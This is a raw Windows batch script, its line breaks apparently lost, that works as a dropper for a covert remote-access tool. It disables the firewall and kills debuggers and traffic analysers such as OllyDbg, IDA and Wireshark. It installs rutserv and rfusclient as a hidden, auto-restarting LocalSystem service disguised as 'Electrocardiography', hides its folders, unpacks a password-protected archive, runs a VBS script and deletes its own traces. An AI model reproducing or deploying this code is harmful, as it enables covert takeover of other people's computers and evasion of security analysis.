@echo offattrib +s +h "C:\pkmr"tasklist /fi "ImageName EQ rutserv.exe" | find /I "rutserv.exe"if %errorlevel% NEQ 1 (goto end) else (goto go1):go1tasklist /fi "ImageName EQ rfusclient.exe" | find /I "rfusclient.exe"if %errorlevel% NEQ 1 (goto end) else (goto go2):go2tasklist /fi "ImageName EQ svhosts.exe" | find /I "svhosts.exe"if %errorlevel% NEQ 1 (goto end) else (goto go3):go3tasklist /fi "ImageName EQ svhostsmss.exe" | find /I "svhostsmss.exe"if %errorlevel% NEQ 1 (goto end) else (goto install):installnetsh advfirewall set allprofiles state offtaskkill /f /im miniperl.exetaskkill /f /im httpd.exetaskkill /f /im mysqld.exetaskkill /f /im ollydbg.exetaskkill /f /im HttpAnalyzerStdV7.exetaskkill /f /im HttpAnalyzerStdV6.exetaskkill /f /im Charles.exetaskkill /f /im wirwshark.exetaskkill /f /im dede.exetaskkill /f /im ida.exetaskkill /f /im OLLYDBG.exetaskkill /f /im SND.exetaskkill /f /im SND 2.2.exetaskkill /f /im SystemExplorer.exesc stop Canibalismesc stop RManServicesc delete Canibalismesc delete RManServicetaskkill /f /im rutserv.exetaskkill /f /im rfusclient.exetaskkill /f /im svhosts.exetaskkill /f /im svhostsmss.exetimeout 2attrib -s -h "C:\loege\*.*"attrib -s -h "C:\loege"del /f /q "C:\loege\*.*"rd /s /q "C:\loege"reg delete "HKLM\SYSTEM\System Corporation Update" /fmd "C:\loege"set vkbtmnyun=C:\loegeset dvusyybic=C:\pkmrset yfhnmwnsr=svhosts.exeset xhrxjxuaq=svhostsmss.exeset xichgzbio=C:\pkmr\acxrjg.regset bamhmecpv=C:\pkmr\vp8encoder.dllcd %dvusyybic%regedit /s "acxrjg.reg"cd "%dvusyybic%"copy %yfhnmwnsr% "%vkbtmnyun%" >nulcopy %xhrxjxuaq% "%vkbtmnyun%" >nulcopy %xichgzbio% "%vkbtmnyun%" >nulcopy %bamhmecpv% "%vkbtmnyun%" >nulcd "%vkbtmnyun%"svhosts.exe /silentinstallsvhosts.exe /firewallregedit /s acxrjg.regsvhosts.exe /startsc failure Canibalisme reset= 0 actions= restart/1000/restart/1000/restart/1000sc config Canibalisme obj= LocalSystem type= interact type= ownsc config Canibalisme DisplayName= "Electrocardiography"sc description Canibalisme "network service"sc config Canibalisme type= sharesc config Canibalisme group= "Network Service"attrib +s +h "%vkbtmnyun%\*.*"attrib +s +h "%vkbtmnyun%"taskkill /f /im rar.exetaskkill /f /im rar.exeattrib -s -h "C:\loege\acxrjg.reg"del /f /q "C:\loege\acxrjg.reg":enddel /f /q "C:\pkmr\*.*"@exit
@Echo offtimeout 3del "C:\pkmr\unuw.bat"del "C:\pkmr\vp8encoder.dll"del "C:\pkmr\acxrjg.reg"del "C:\pkmr\dvrb.vbs"del "C:\pkmr\unuw.bat""Rar.exe" e -p7554074 mfyr.rartimeout 5start dvrb.vbstimeout 2del /f /q "vmjmxd.vbs"del /f /q "mfyr.rar"del /f /q "%USERPROFILE%\Desktop\rms.exe"@exit